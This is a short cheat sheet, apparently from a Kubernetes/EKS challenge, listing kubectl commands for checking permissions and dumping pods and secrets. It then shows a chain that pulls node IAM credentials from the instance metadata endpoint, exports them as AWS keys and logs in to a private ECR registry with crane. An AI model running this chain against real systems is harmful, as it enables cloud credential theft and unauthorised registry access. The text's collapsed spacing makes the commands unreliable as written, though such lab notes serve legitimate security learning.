Kubernetes, also known as K8s, is an open-source system for automating deployment, scaling, and management of containerized applications.
It groups containers that make up an application into logical units for easy management and discovery.
Kubectl
# Find out the subject for the current context of kubeconfigkubectlwhoami# Check whether an action is allowed.kubectlauthcan-i<action># List all actions that are allowedkubectlauthcan-i--list# Get podskubectlgetpods# Get specific potkubectlgetpod<name>-oyaml
Secrets
# Get secretskubectlgetsecrets# Get secretkubectlgetsecret<secret>-oyaml
# Get security credentials using link-local addresscurlhttp://169.254.169.254/latest/meta-data/iam/security-credentials# Store security creds in variableTOKEN=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole)
# Store AWS_ACCESS_KEY_Id in env from TOKENexport AWS_ACCESS_KEY_ID=$(echo $TOKEN |jq-r'.AccessKeyId')# Store AWS_SECRET_ACCESS_KEY in env from TOKENexport AWS_SECRET_ACCESS_KEY=$(echo $TOKEN |jq-r'.SecretAccessKey'# Store AWS_SESSION_TOKEN in env from TOKENexport AWS_SESSION_TOKEN=$(echo $TOKEN |jq-r'.SessionToken')# Get AWS login password using env variablesawsecrget-login-password# Store pass in variablePASSWORD=$(awsecrget-login-password)# Use crane to logincraneauthlogin688625246681.dkr.ecr.us-west-1.amazonaws.com-uAWS-p $PASSWORD# Get config and pipe to JSONcrane config 688625246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecc1c6a1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq